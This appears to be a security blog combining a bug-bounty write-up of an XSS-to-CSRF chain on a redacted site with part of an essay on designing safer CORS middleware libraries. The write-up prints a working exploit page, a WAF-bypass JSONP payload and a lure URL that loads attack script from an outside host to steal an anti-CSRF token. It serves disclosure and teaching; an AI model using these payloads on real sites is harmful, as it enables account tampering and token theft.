Be aware that I’ve redacted some identifying information in order to protect the target organisation’s anonymity; I’ve also omitted some unimportant details in order to make the story of this bug chain more entertaining.

On the hunt for an elusive CSRF ¶

The scope of my target’s bug-bounty programme was limited to www.redacted.com and a few other subdomains of redacted.com. At that point, I had run out of ideas for finding vulnerabilities there. The possibility of an exploitable cross-site request forgery (CSRF) lingered in my mind, though…

I had noticed that some subdomains, such as inscope.redacted.com, could perform sensitive actions (such as updating the authenticated user’s profile) by issuing POST requests to endpoints rooted at https://www.redacted.com/api. Authentication of such requests relied on ambient authority, in the form of a cookie named sid and marked SameSite=None and Secure.

Unfortunately, those endpoints required, as a defence against CSRF, the presence of a token (tied to the authenticated user’s session) in a query parameter named csrftoken. Client code running in the context of https://inscope.redacted.com would retrieve that anti-CSRF token via an authenticated GET request to https://www.redacted.com/profile, which was accordingly configured for CORS.

Furthermore, I couldn’t find a straightforward way to steal that anti-CSRF token from my victim. In my quest for CSRF, I had seemingly hit a brick wall.

A permissive CORS policy drives me out of scope ¶

When my progress on a target stalls like this, I typically start exploring out-of-scope assets in the hope of discovering and abusing a trust relationship they have with some in-scope assets. After further testing the https://www.redacted.com/profile endpoint, I realised that its CORS configuration allowed, not just origin https://in-scope.redacted.com, but any Web origin made up of some arbitrary subdomain of redacted.com:

$ curl -sD - -o /dev/null \
  -H "Origin: https://whatever.redacted.com" \
  -H "Cookie: sid=xxx-yyy-zzz" \
  https://www.redacted.com/profile

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://whatever.redacted.com
Vary: Origin
-snip-

Therefore, if I could discover an instance of cross-site scripting (XSS) on any redacted.com subdomain (even an out-of-scope one), I would be able to steal my victim’s anti-CSRF token and then mount CSRF attacks against https://www.redacted.com/api endpoints. With this plan in mind, I set out to scrutinise out-of-scope subdomains of redacted.com.

Insecure message event listener on out-of-scope subdomain ¶

Equipped with Frans Rosén’s excellent postMessage-tracker Chrome extension, I quickly homed in on https://out-of-scope.redacted.com/search, which had an intriguing listener on 'message' events:

function handleMessageEvent(e) {
  try {
    var t = e;
    if (void 0 !== e.data && (t = e.data), "string" == typeof t) {
      try {
        t = JSON.parse(t)
      } catch (e) {
        return !1
      }
    }
    if (void 0 === t.method) return !1;
    var n, r = t.method.split(".");
    if (!(r.length > 0 && "APP" === r[0])) return !1;
    n = window;
    for (var a = 0; a < r.length; a++) {
      if (void 0 === n[r[a]]) {
        throw APP.Exception("COMMUNICATION_SECURITY");
      }
      n = n[r[a]]
    }
    if ("function" != typeof n) {
      throw APP.Exception("COMMUNICATION_SECURITY");
    }
    n(t.arg)
  } catch (e) {
    APP.catchException(e)
  }
  return !1
}

The conspicuous absence of an origin check from that event listener implies that any malicious page (deployed anywhere on the Web) that holds a reference to a document whose location is https://out-of-scope.redacted.com/search can send malicious Web messages to that document, and those messages would unconditionally get accepted and processed. With what impact? That entirely depends on the logic of the listener. A casual static analysis of the code indicates that, on its “happy path”, the message event listener does the following:

Parse the event’s data property as JSON and stored the result in an object named t.
Split the method property on periods.
Use the result of step 2 to iteratively access nested properties of some window.APP object (declared elsewhere in the client).
Call the function thus obtained and pass it a property named arg of object t (see step 1) as argument.

In summary, my malicious page could send a specially crafted Web message to https://out-of-scope.redacted.com/search in order to trigger the execution of some malicious JavaScript code in the context of Web origin https://out-of-scope.redacted.com. For instance, consider the following string:

`{"method": "APP.foo.bar.baz", "arg": "qux"}`

On the condition that expression window.APP.foo.bar.baz be defined and actually be a function, sending the aforementioned string as a Web message to https://out-of-scope.redacted.com/search would lead the latter to execute the following JavaScript code:

APP.foo.bar.baz('qux')

Unfortunately, the listener’s logic limited this vector for DOM-based XSS to calls to functions accessible through the window.APP object, and with a single arbitrary argument of type string. Try as I may, I couldn’t find a way to access powerful DOM functionalities like eval or Function’s constructor in order to escalate this finding to unrestricted DOM-based XSS. Faced with this constraint, I had no other option than to painstakingly explore the properties of the window.APP object in the hope of discovering some useful script gadget.

Perhaps a simpler solution escaped me then; I have no doubt that perceptive readers who are XSS experts or who simply have perused Gareth Heyes’s recently released book, JavaScript for Hackers, will point one out to me. Gareth, I promise you that your book is next on my reading list!

Setting cookies across origins, to no avail ¶

A function named APP.util.setCookie immediately stood out. As its name implies, it allowed callers to set arbitrary cookies on the out-of-scope.redacted.com domain. For example, a malicious cross-origin page could set a cookie named foo with value bar on out-of-scope.redacted.com like so:

const win = window.open('https://out-of-scope.redacted.com');
// omitted: wait a few seconds for the page to load
const msg = `{"method":"APP.util.setCookie", "arg":"foo=bar"}`;
win.postMessage(msg, '*');

The ability to set cookies across Web origins often helps Web attackers gain a foothold on their target: it may allow them to achieve session fixation, unlock otherwise seldom exploitable cookie-based XSS, defeat some implementations of the double-submit-cookie defence against CSRF, etc. Sadly, I could not find a way to abuse that APP.util.setCookie function to cause real damage.

A shoddy JSONP endpoint leads to DOM-based XSS ¶

However, a function named window.APP.apiCall eventually caught my eye:

function apiCall(t, n, r, a) {
    try {
        "/" !== t[0] && (t = "/" + t);
        var o = t.split("?"),
            i = [];
        if (o.length > 1 && (t = o[0],
                i = o[1].split("&")),
            t = "https://search.redacted.com" + t,
            "get" !== n && i.push("request_method=" + n),
            null !== r)
            for (var c in r)
                ({}).hasOwnProperty.call(r, c) &&
                  i.push(c + "=" + encodeURIComponent(r[c]));
        i.push("output=jsonp"),
            null !== e.token && i.push("access_token=" + e.token),
            i.push("version=js-v" + e._version),
            e.request._send({
                path: t,
                path_args: i,
                callback: a,
                callback_name: "callback"
            })
    } catch (t) {
        e.catchException(t)
    }
}

I’ll spare you from the labyrinthine and irrelevant details of that function. Only two observations about window.APP.apiCall matter:

window.APP.apiCall is designed to send a request to a JSONP endpoint on https://search.redacted.com and load the response as an external script (in the context of Web origin https://out-of-scope.redacted.com); and
window.APP.apiCall doesn’t build the JSONP URL in a particularly secure way.

Further dynamic tests on this JSONP endpoint revealed that it was protected by Akamai’s Web-application firewall (WAF). But I serendipitously discovered that, thanks to some questionable URL parsing on the server side, this obstacle could easily be bypassed. For an illustrative example, consider this first request and its 403 response from Akamai:

GET https://search.redacted.com/?callback=alert&output=jsonp HTTP/2
-snip-

HTTP/2 403 Forbidden
Server: AkamaiGHost
-snip-

Now consider this second request (note the absence of a ? marking the beginning of the URL’s querystring) and its 200 response from the origin server:

GET https://search.redacted.com/&callback=alert&output=jsonp HTTP/2
-snip-

HTTP/2 200
Server: Apache
Content-Length: 59
Content-Type: text/javascript; charset=utf-8
-snip-

alert({"error":{"msg":"Unknown path components: \/get"}})

Moreover, the JSONP endpoint was very lenient in the validation of its callback; on the condition that the value of the callback query parameter be (fully) doubly URL-encoded, the JSONP endpoint would accept it:

GET https://search.redacted.com/&callback=alert%2528%2527xss%2527%2529%252F%252F&output=jsonp HTTP/2
-snip-

HTTP/2 200
Content-Type: text/javascript; charset=utf-8
-snip-

alert('xss')//({"error":{"msg":"Unknown path components: \/get"}})

Happy days! I could now craft a malicious page that would send a Web message to https://out-of-scope.redacted.com/search designed to trick the latter into hitting the JSONP endpoint with a payload of my choice. And as a result, I could get arbitrary JavaScript code (e.g. alert(document.domain)) to execute in the context of Web origin https://out-of-scope.redacted.com:

const url = 'https://out-of-scope.redacted.com/search';
const win = window.open(url);
// omitted: wait a few seconds for the page to load
const msg = {
  'method': 'APP.apiCall',
  'arg': '&callback=alert%2528document.domain%2529%252f%252f&output=jsonp#'
};
win.postMessage(JSON.stringify(msg), '*');

Now armed with this unrestricted DOM-based XSS on Web origin https://out-of-scope.redacted.com (which, as you may recall, was allowed in the CORS configuration of the https://www.redacted.com/profile resource), I had a way to steal my victim’s anti-CSRF token.

The need for one-click user interaction ¶

In order to send Web messages to their intended destination (https://out-of-scope.redacted.com/search), my malicious page first needed to acquire a reference to either an iframe or a window opened on that page. Unfortunately, cross-origin framing of https://out-of-scope.redacted.com/search was out of the question because all of my target’s responses invariably contained the following header:

X-Frame-Options: SAMEORIGIN

However, I could instead design my malicious page to open https://out-of-scope.redacted.com/search in a pop-up window at the expense of a modicum of user interaction—necessary for bypassing the browser’s pop-up blocker—such as clicking a button.

Putting it all together for a one-click CSRF ¶

I deployed the following static page to https://redacted.jub0bs.com/index.html:


<html>
  <head>
    <meta charset="utf-8">
  head>
  <body>
    <script>
      function encode(str) {
        return encodeURIComponent(str).replace(
          /['()*]/g,
          (c) => `%${c.charCodeAt(0).toString(16).toUpperCase()}`,
        );
      }
      var win;
      function sendMsg() {
        const url = new URL("https://out-of-scope.redacted.com/search");
        if (typeof win === 'undefined') {
           win = open(url);
        }
        const delayMs = 2000;
        const payload = new URLSearchParams(window.location.search)
            .get("payload");
        setTimeout(() => {
          const doubleEncodedPayload = encode(encode(`${payload}//`));
          const msg = {
            'method': 'APP.apiCall',
            'arg': `&callback=${doubleEncodedPayload}&output=jsonp#`
          };
          win.postMessage(JSON.stringify(msg), url.origin);
        }, delayMs);
      }
    script>
    <input type=button value="Click me!" onclick="sendMsg();">
  body>
html>

The page consists of a single button, a click on which would cause my malicious payload to execute on https://out-of-scope.redacted.com. Note that, for testing purposes, I opted to parameterise the malicious payload via a query parameter named payload. I also deployed the following JavaScript file to https://redacted.jub0bs.com/1.js:

async function stealToken() {
  const url = 'https://www.redacted.com/profile';
  const opts = {method: 'POST', credentials: 'include'};
  return await fetch(url, opts)
    .then(body => body.json())
    .then(data => data.csrftoken);
}
async function csrf() {
  const token = await stealToken();
  const url = `https://www.redacted.com/api/updateProfile?csrftoken=${token}`;
  const randomString = (Math.random() + 1).toString(36).substring(7);
  const data = {'username':`PWNED_${randomString}`};
  const opts = {
    method: 'POST',
    credentials: 'include',
    body: JSON.stringify(data)
  };
fetch(url, opts);
}
csrf();

I could then lure a victim authenticated on https://www.redacted.com to the following URL:

https://redacted.jub0bs.com/?payload=var%20s%3Ddocument.createElement%28%27script%27%29%3Bs.src%3D%22https%3A%2F%2Fredacted.jub0bs.com%2F1.js%22%3Bdocument.head.appendChild%28s%29%3B

If my victim subsequently clicked the button, she would unwittingly update her username on https://www.redacted.com to a telltale value of something like PWNED_ysp4d.

Epilogue ¶

I promptly reported my findings through my target’s bug-bounty programme with a CVSS vector of AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N (7.1 High). According to their reward table, High paid just under €1,000. I was hopeful that, despite the need for user interaction, my perseverance and the complexity of my bug chain would compel the triage team to throw in a small bonus for good measure.

Unfortunately, the gnarliest bug chains don’t always turn out to be lucrative. For my report, I only got the princely sum of €200. And despite my repeated calls for a justification, the programme remained dead silent. You won’t be surprised to learn that I have no plans to spend any more time on that programme until they reassess their reward policy.

Ultimately, knowledge is its own reward, I suppose. If anything, this bug chain reinforced my belief that going out of scope is hardly ever a pointless exercise.

Acknowledgements ¶

Thanks to renniepak and Tara Cooke, who both kindly agreed to review an early draft of this post.

Fearless CORS: a design philosophy for CORS middleware libraries (and a Go implementation)

Wed, 08 Feb 2023 13:00:00 +0000

TL;DR ¶

In this post, I investigate why developers struggle with CORS and I derive Fearless CORS, a design philosophy for better CORS middleware libraries, which comprises the following twelve principles:

Optimise for readability
Strive for a simple and cohesive API
~~Provide support for Private Network Access~~
Categorise requests correctly
Validate configuration and fail fast
Treat CORS as a compilation target
Provide no default configuration
Do not preclude legitimate configurations
Ease troubleshooting by eschewing shortcuts during preflight
Render insecure configurations impossible
Guarantee configuration immutability
Focus performance optimisation on middleware execution

This post also introduces jub0bs/fcors, an open-source, production-ready CORS middleware library for Go that adheres to Fearless CORS.

Familiarity with the CORS protocol is a prerequisite for reading this post; if you need to brush up on CORS, MDN Web Docs is a good resource. Some familiarity with Go, Java, and JavaScript is beneficial but not required. This post is quite long, but its structure should allow you to dip in and out of it as you please.

Introduction ¶

CORS 101 ¶

Cross-Origin Resource Sharing (CORS) is a mechanism that lets servers instruct browsers to relax, for select clients, some restrictions (in terms of both sending and reading) enforced by the Same-Origin Policy (SOP) on cross-origin network access. The protocol relies on special HTTP headers such as Origin, Access-Control-Request-Method, Access-Control-Allow-Origin, etc. Because a picture is worth a thousand words, let me show you a typical example of a successful CORS handshake:

Bob visits Carol’s website (https://carol.com).
Carol’s client uses the Fetch API to issue a GET request to a resource on Sarah’s server (https://sarah.com). Carol includes a header named Authorization in her request.
The request is such that Bob’s browser first issues a preflight request (which uses the OPTIONS method) to the server.
The server sends a preflight response, which instructs Bob’s browser that Carol’s client is allowed to send her actual (GET) request.
The browser sends Carol’s actual request to the server.
The server sends back a response, which also instructs Bob’s browser that Carol’s client is allowed to read the response in question.
The browser complies and gives Carol’s client access to Sarah’s response.

This is CORS in a nutshell. In practice, some daring server developers choose to implement CORS by “manually” setting the relevant HTTP response headers, either at the application level or at the reverse-proxy level; but doing so is error-prone. As expressed by Jake Archibald’s pithy statement,

CORS (Cross-Origin Resource Sharing) is hard.

CORS is, at the very least, more intricate than meets the eye. In practice, developers tend to rely instead on some middleware library, which can leverage the full power of their programming language to abstract some of CORS’s complexity.

CORS woes ¶

Although CORS has been, since its inception in the late 2000s, an instrumental mechanism for the development of the modern Web, it remains a frequent source of confusion and exasperation for developers. At the time of writing this post, the number of Stack Overflow questions tagged with “cors” hovers around 12,500, and a disconcertingly large fraction of those questions comes from a place of anguish. Some view fixing CORS issues as a rite of passage into Web-development mastery; others take to social media to give way to gloom or vent their frustration.

Productivity in software development is notoriously hard to measure, but obstacles to productivity are hard to ignore; and, if such public outcry is anything to go by, one can only shudder at the thought of the cumulative time and money that has been wasted on troubleshooting CORS issues over the years.

There is a flip side to this: because CORS deactivates some browser defences, misconfiguring it can compromise, not just functionality, but also security. Insecure CORS configurations are perhaps less decried than dysfunctional ones but, when they do occur, they have the potential to expose stakeholders to devastating cross-origin attacks. In fact, server developers fighting a losing battle against a dysfunctional CORS configuration may be driven, as a last-ditch attempt to just “make things work”, to adopt an overly permissive CORS policy, such as one that throws most of the SOP out the window!

Why this continual weeping and gnashing of teeth? Is the protocol itself to blame for so much misery? No; I argue that CORS’s reputation as a productivity killer and security footgun is mostly undeserved. Are developers simply too dumb to bend CORS to their will, then? Developers in general would certainly benefit from familiarising themselves better with the protocol before using it or opting for farfetched and dangerous alternatives, but assigning the blame entirely to them would be unfair. What about the tools? Contrary to popular opinion, I think browsers do a rather fine job in helping developers troubleshoot their CORS issues. This only leaves CORS libraries out of account…

Out of the CORS tar pit ¶

Over the past few months, I’ve been driven to study the CORS protocol with more attention than I had formerly given to it. I’ve spent hours perusing current and old specifications, code-spelunking in both prominent and obscure CORS libraries, rummaging through pull requests and GitHub issues, reading reports of insecure CORS configurations, sifting through countless Stack-Overflow questions about CORS and answering them when I could… At last, I came to the conclusion that developers’ difficulties with CORS largely result from certain infelicities in CORS middleware libraries.

But identifying culprits isn’t enough: how shall we escape this predicament? In reaction to the shortcomings I perceive in existing CORS middleware libraries, I started gathering my thoughts about how I would design such a library from scratch, with the benefit of hindsight and unencumbered by unfortunate past design decisions or promises of backwards compatibility.

This post enunciate my vision for a better CORS middleware library, one that designs CORS misconfigurations—both dysfunctional and insecure configurations—out of existence. Nicknamed Fearless CORS, my design philosophy ramifies into twelve language-agnostic principles, in a manner reminiscent of REST’s six constraints and Heroku’s Twelve-Factor-App methodology. This post also presents jub0bs/fcors, a production-ready CORS middleware library for Go that adheres to Fearless CORS.

What follows is one third murder mystery, one third design manifesto, and one third billboard for jub0bs/fcors. I hope you enjoy it! My views may strike you as stubborn and contentious, and my tone as acerbic and pompous, but I’ve endeavoured to remain lucid, if only occasionally harsh, in my criticism of existing CORS libraries. Of course, I don’t have a monopoly on truth; if you disagree with Fearless CORS, I’d like to hear from you; and if you find a bug in jub0bs/fcors or identify a missing feature, please do file an issue on GitHub.

The twelve principles of Fearless CORS ¶

1. Optimise for readability ¶

Most CORS middleware libraries—to the notable exception of Spring’s and .NET Core’s—adopt an imperative style. Here is an example featuring rs/cors:

c := cors.New(cors.Options{
  AllowedOrigins: []string{"https://example.com"},
  AllowedMethods: []string{
    http.MethodGet,
    http.MethodPost,
    http.MethodPut,
    http.MethodDelete,
  },
  AllowedHeaders: []string{"Authorization"},
})

However, a declarative style tends to outmatch an imperative one in terms of readability of the resulting configuration code. Here is how you would express an equivalent CORS policy with jub0bs/fcors:

cors, err := fcors.AllowAccess(
  fcors.FromOrigins("https://example.com"),
  fcors.WithMethods(
      http.MethodGet,
      http.MethodPost,
      http.MethodPut,
      http.MethodDelete,
  ),
  fcors.WithRequestHeaders("Authorization"),
)

The differences are more than cosmetic. By contrast with rs/cors, jub0bs/fcors requires less ceremony. In particular, through its use of variadic function parameters, jub0bs/fcors does away with those distracting slice literals ([]string{}). Moreover, through its use of a pattern known in the Go community as functional options, jub0bs/fcors obviates the need for exposing an intermediate configuration struct and lets you express your desired CORS policy in a more declarative style via a small embedded domain-specific language. If you ignore the repeated occurrences of the package name (“fcors”) in qualified identifiers, you’ll likely find the configuration code largely free of visual noise.

By saving developers a few keystrokes in this manner, jub0bs/fcors can afford to err on the side of verbosity and self-documentation for the names of its options, e.g.

WithRequestHeaders rather than WithHeaders,
ExposeResponseHeaders rather than ExposeHeaders, and
MaxAgeInSeconds rather than MaxAge.

Not exposing any configuration struct presents another advantage: the impossibility to build upon an existing CORS policy. Although option values can be shared across calls to jub0bs/fcors’s middleware factory functions (named AllowAccess and AllowAccessWithCredentials), this constraint tends to promote co-location of CORS-configuration code. It also discourages the use of many different CORS policies, which OWASP frowns upon anyway:

Implement access-control mechanisms once and re-use them throughout the application, including minimizing Cross-Origin Resource Sharing (CORS) usage.

As a result of these design decisions, configuration code written with jub0bs/fcors is comparatively easier to read and, hence, to review.

2. Strive for a simple and cohesive API ¶

In The Computer Scientist as Toolsmith II, the late Fred Brooks articulated an idea (slightly paraphrased here) that still resonates with me:

Two criteria for success in a tool are:

It must be so easy to use that a seasoned developer can use it, and

It must be so productive that seasoned developers will use it.

However, the size of a library’s API can hurt both ease of use and productivity. Joshua Bloch, author of Effective Java and of Java’s Collections Framework, insists that the best libraries distinguish themselves as having a small conceptual surface area, and enjoins library authors to maximise power-to-weight ratio. Likewise, John Ousterhout, author of A Philosophy of Software Design, argues that software modules—libraries, in this case—should be deep rather than shallow; in particular, between two libraries that have feature parity, the one whose interface is smaller is preferable:

Many CORS middleware libraries, no doubt due to their long development history, are not as deep as they ideally could be. For example, rs/cors’s Options struct type provides no fewer than three different ways of expressing a CORS policy’s allowed origins:

AllowedOrigins, of type []string;
AllowedOriginFunc, of type func (string) bool; and
AllowedOriginRequestFunc, of type func (*http.Request, string) bool.

This corner of rs/cors’s API strikes me as shallow. In particular, AllowedOriginRequestFunc subsumes—is strictly more powerful than—AllowOriginFunc. This overlap in functionality between the two functions is unfortunate, as it unnecessarily bloats the conceptual surface area of the library’s API. I shall revisit those two function fields further down in this post, as I believe such “hooks” to be leaky abstractions at best and dangerous misfeatures at worst.

Besides, all three options lack self-documentation. What happens if, say, AllowedOrigins is used in conjunction with AllowOriginFunc? Do those options somehow have cumulative effects? If not, which one has precedence over the other? Definite answers to these questions are not immediately apparent; you will only find them in the library’s documentation.

With jub0bs/fcors, developers can specify their allowed origins only via two orthogonal and (mutually incompatible) options named FromOrigins and FromAnyOrigin. My library’s comparatively smaller API also lends itself better to auto-completion by IDEs. Moreover, in a bid to minimise clutter and dispel any ambiguity, jub0bs/fcors opts for non-additive options and raises a run-time error in the face of repeated and/or conflicting option calls:

cors, err := fcors.AllowAccess(
  fcors.FromAnyOrigin(),
  fcors.WithMethods("GET", "POST", "PUT"),
  fcors.WithMethods("DELETE"), // ❌ (conflicts with earlier call)
)

3. Provide support for Private Network Access ¶

Edit (2025/06/14): Private-Network Access was never fully implemented by browsers and has now been put on (indefinite) hold in favor of a new permission-based mechanism named “Local-Network Access”.

Private Network Access (PNA) is a W3C initiative that strengthens the Same-Origin Policy by denying clients in more public networks (e.g. the public Internet) access to less public networks (e.g. localhost); the goal is to mitigate a class of cross-site-request-forgery attacks. PNA also extends CORS by providing a server-side opt-in mechanism for such access.

At this stage, Private Network Access remains a moving target: the specification retains draft status and was recently renamed twice in the span of a few months. Nevertheless, PNA is gradually getting support in Chromium. Unfortunately, many CORS middleware libraries—Gin’s is but one example—still lack support for PNA, which forces their users to look elsewhere for a solution.

Besides, PNA happens to be a source of new difficulties for library authors. One assumption that used to be true is that browsers would issue a preflight request only in reaction to a client’s attempt to send a cross-origin request. Some CORS libraries, such as Gin’s, still actively rely on this assumption. In this regard, PNA throws a spanner in the works: as a mitigation against DNS rebinding, PNA-compliant browsers may now issue a preflight request even in reaction to a client’s attempt to send a same-origin request! Accordingly, the implementation of Gin’s CORS middleware library will require amendments, which may break clients who rely on the library’s current behaviour.

Because PNA is a natural extension of the CORS protocol, jub0bs/fcors fully supports it through advanced options hidden away in its risky companion package. Moreover, among other similar constraints, jub0bs/fcors prohibits developers from enabling private network access from all origins, a practice that the team leading the PNA specification effort actively discourages:

The server can set Access-Control-Allow-Origin: *, though this is dangerous and discouraged. Private network resources should rarely be accessible to all origins, so think carefully about the risks involved in setting such a header.

4. Categorise requests correctly ¶

The Fetch standard tells us that a preflight request is one that, at the very least,

uses the OPTIONS method,
includes an Origin header,
includes an Access-Control-Request-Method header.

In one of his posts, Jake Archibald laments that some servers incorrectly take the presence of an Origin header as an unmistakable cue that a request is cross-origin. I am similarly saddened by CORS middleware (like Express.js’s) that fail to recognise that preflight requests form a strict subset of all OPTIONS requests:

This blunder unfortunately traps non-preflight OPTIONS requests, which never make it past the CORS middleware to the next HTTP handler in the chain. Its deleterious effects also tend to reverberate throughout the CORS library.

Rather than identifying the problem and tackling it at the root, the maintainers of Express.js’s CORS middleware unfortunately opted instead to retrofit the library to provide their users a kludgey way of letting non-preflight OPTIONS requests through, in the form of a new configuration option named preflightContinue. The addition of an OptionsPassthrough option to rs/cors and the addition of an IgnoreOptions option to gorilla/handlers were similarly motivated. Such options are pure manifestations of accidental complexity and make their library’s API harder to apprehend.

By contrast, because jub0bs/fcors correctly categorises OPTIONS requests, it requires no such cruft.

5. Validate configuration and fail fast ¶

The sheer number of CORS middleware libraries that perform little to no configuration validation and unconditionally produce a middleware, even a dysfunctional one, baffles me. In this regard, those libraries truly do their users a disservice.

For example, developers not very familiar with the concept of Web origin may attempt to list, among the origins allowed by their CORS policy, a value that is actually not a valid origin, such as a URI that lacks a scheme or one that contains a path. The following code snippet draws inspiration from a real-life example involving Fiber, a Web framework for Go:

app.Use(cors.New(cors.Config{
  AllowOrigins: "https://example.com/", // incorrect
})

For context, here is the signature of Fiber’s factory function cors.New:

func New(...cors.Config) fiber.Handler

The use of a variadic parameter is itself questionable, but what I want to point out is that this function never “fails”: it does not return an error, nor does it panic. Instead, in my example, it completely overlooks the configuration issue caused by the invalid origin value and returns a middleware that happens to be dysfunctional because that middleware rejects all CORS requests, even those whose origin is https://example.com. Incidentally, I find this practice of ignoring failure cases—or sweeping them under the rug—especially puzzling when followed by Go libraries, because diligent error reporting is so central to Go’s culture.

Users of CORS libraries that lack configuration validation may find out only much later that nothing works as expected, e.g. after having deployed their server and testing their client against it; and, even then, those developers may be at a loss to pinpoint the root cause of the dysfunction they observe. True, browsers do, in such cases, provide an illuminating error message; here is Chromium’s:

Access to fetch at [REDACTED] from origin ‘https://example.com’ has been blocked by CORS policy: Response to preflight request doesn’t pass access control check: The ‘Access-Control-Allow-Origin’ header has a value ‘https://example.com/' that is not equal to the supplied origin. Have the server send the header with a valid value, or, if an opaque response serves your needs, set the request’s mode to ’no-cors’ to fetch the resource with CORS disabled.

But this rather loose feedback loop is detrimental to developer experience. Immediately presenting developers with the brutal truth, in the form of a helpful server-side error message, would be preferable to delaying their disappointment. Accordingly, CORS middleware libraries should categorically refuse to produce a middleware bound to be dysfunctional and should error out as early as middleware instantiation.

Here is another example of a a general lack of configuration validation. Some CORS libraries, like rs/cors, allow their users to configure the status code that preflight responses should use, but few of them check that the status code in question is an ok status (i.e. an integer in the 200-299 range), which is a necessary condition for preflight to succeed:

c := cors.New(cors.Options{
  AllowedOrigins: []string{"https://example.com"},
  OptionsSuccessStatus: 300, // incorrect
})

Still unconvinced that lack of configuration validation is problematic? Here is another example featuring the Spring framework:

@Override
public void addCorsMappings(CorsRegistry corsRegistry) {
  corsRegistry.addMapping("/**")
    .allowedOrigins("*")
    .allowedHeaders("Content-Type,Authorization"); // incorrect
}

This Java code snippet raises no exception, but the resulting CORS middleware does not allow request headers Content-Type and Authorization. Why not? Because Spring’s allowedHeaders method is variadic and expects its users to specify their allowed request-header names, not as a single string value, but one by one as separate arguments:

@Override
public void addCorsMappings(CorsRegistry corsRegistry) {
  corsRegistry.addMapping("/**")
    .allowedOrigins("*")
    .allowedHeaders("Content-Type", "Authorization"); // correct
}

If Spring instead failed fast in the event of an invalid user-specified request-header name—and Content-Type,Authorization most definitely is not a valid request-header name—the framework would spare its users much frustration.

In stark contrast with those libraries, jub0bs/fcors adopts a defensive approach: it steadfastly validates CORS configuration (origins, headers, methods, etc.) and errors out at middleware instantiation rather than produce a dysfunctional middleware.

Moreover, jub0bs/fcors guides developers unfamiliar with CORS towards a cruft-free configuration, by aggressively rejecting request headers, response headers, and method names that the Fetch standard forbids:

cors, err := fcors.AllowAccess(
  fcors.FromAnyOrigin(),
  fcors.WithMethods("CONNECT"),              // ❌
  fcors.WithRequestHeaders("Cookie"),        // ❌
  fcors.ExposeResponseHeaders("Set-Cookie"), // ❌
)

As a result of its strict stance on configuration validation, jub0bs/fcors enables a tighter development feedback loop than its competition does. The next principle expands on this idea, but in the specific context of the CORS protocol’s so-called wildcard exception.

6. Treat CORS as a compilation target ¶

One peculiarity of the CORS protocol that trips many Web developers up is a deliberate constraint colloquially known as the wildcard exception. The Fetch standard remains the authoritative (if somewhat dry) source of truth about CORS, but MDN Web Docs does a good job at demystifying the wildcard exception. In a nutshell, credentialed requests (e.g. requests that include cookies) are incompatible with uses of the wildcard (*) in any of the following CORS response headers:

Access-Control-Allow-Origin
Access-Control-Allow-Methods
Access-Control-Allow-Headers
Access-Control-Expose-Headers

Browsers simply deny clients access to such responses and raise an error, either during preflight (when applicable) or after receiving the response to the actual request from the server.

The wildcard exception indisputably is a beneficial constraint: it plays an important role in preventing incautious server developers from allowing credentialed access from more Web origins than they ought to, and, therefore, in protecting stakeholders from cross-origin attacks meant to exfiltrate their sensitive data.

You would expect a well-designed CORS middleware library to prohibit dysfunctional CORS configurations that disregard the wildcard exception. Unfortunately, many libraries don’t go through that trouble. Here is an example featuring the CORS middleware library of Express.js:

const express = require('express')
const cors = require('cors')
const app = express()
const port = 8081

const corsOptions = {
  origin: '*',
  credentials: true,
}

app.get('/hello', cors(corsOptions), (req, res) => {
  res.send('Hello, World!')
})

app.listen(port, () => {
  console.log(`Example app listening on port ${port}`)
})

Sending a GET CORS request to /hello yields a response that contains the following headers:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

As a result, browsers will allow anonymous access from all origins, but won’t allow credentialed access precisely because of the wildcard exception. Clients who send credentialed GET requests to /hello will indeed be confronted with a CORS error of this kind:

Access to fetch at [REDACTED] from origin [REDACTED] has been blocked by CORS policy: The value of the ‘Access-Control-Allow-Origin’ header in the response must not be the wildcard ‘*’ when the request’s credentials mode is ‘include’.

You can imagine how this error message can elicit puzzlement and frustration among developers unfamiliar with the wildcard exception. In fact, seldom a day goes by without some distraught developers asking for help about the wildcard exception on Stack Overflow. Not a great developer experience…

A well-designed CORS middleware library would fail fast and would not allow server developers to proceed with such a dysfunctional CORS configuration as one that ignores the wildcard exception.

But developers’ misfortunes do not end there, because some CORS middleware libraries make even more regrettable design decisions. Well aware of the wildcard exception, those libraries bend over backwards to spare their users a dysfunctional CORS middleware and give them an insecure one instead! Here is an example featuring the Echo framework’s CORS middleware:

package main

import (
  "net/http"

  "github.com/labstack/echo/v4"
  "github.com/labstack/echo/v4/middleware"
)

func main() {
  e := echo.New()
  e.Use(middleware.CORSWithConfig(middleware.CORSConfig{
    AllowOrigins:     []string{"*"},
    AllowCredentials: true,
  }))
  e.GET("/hello", hello)
  e.Logger.Fatal(e.Start(":8081"))
}

func hello(c echo.Context) error {
  return c.String(http.StatusOK, "Hello, World!")
}

Sending a GET CORS request to /hello from Web origin https://attacker.com yields a response that contains the following headers:

Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Credentials: true

😱 Yikes! Echo’s CORS middleware actively bypasses the wildcard exception by unconditionally reflecting the request’s origin in the Access-Control-Allow-Origin header, thereby leaving the door wide open to cross-origin attacks! This regrettable design decision has plagued and still plagues many CORS middleware libraries, to the point that such conscientious security researchers as Evan Johnson and Jianjun Chen felt compelled to publicly call some of them out, with varying degrees of success.

Edit (2023-02-28): I raised the issue on the Echo repository and the maintainers have since improved the situation a bit by removing this dangerous behaviour and adding an escape hatch to reinstate it if needed. Fiber, which was similarly afflicted, has also been fixed since the publication of this post.

By contrast with the great majority of CORS middleware libraries, jub0bs/fcors sidesteps the wildcard-exception difficulty altogether. In the spirit of John Ousterhout’s philosophy of software design, jub0bs/fcors pulls complexity downwards: it abstracts the complexity associated with the wildcard exception by treating CORS as a lower-level compilation target—an idea reminiscent of one that Mike West once floated about Content Security Policy:

perhaps we can start looking at CSP as a (complicated, low-level) compilation target.

jub0bs/fcors indeed prevents dysfunctional configurations by prohibiting explicit use of the wildcard ("*") and forcing users to describe their desired CORS policy in a higher-level, more declarative fashion instead. For instance, the following code snippet raises a run-time error:

fcors.AllowAccess(
  fcors.FromOrigins("*"), // ❌
)

Developers who wish to allow anonymous access from any origin should instead write

fcors.AllowAccess(
  fcors.FromAnyOrigin(), // ✅
)

The library does use the wildcard under the hood when possible, but affords developers blissful oblivion to this implementation detail.

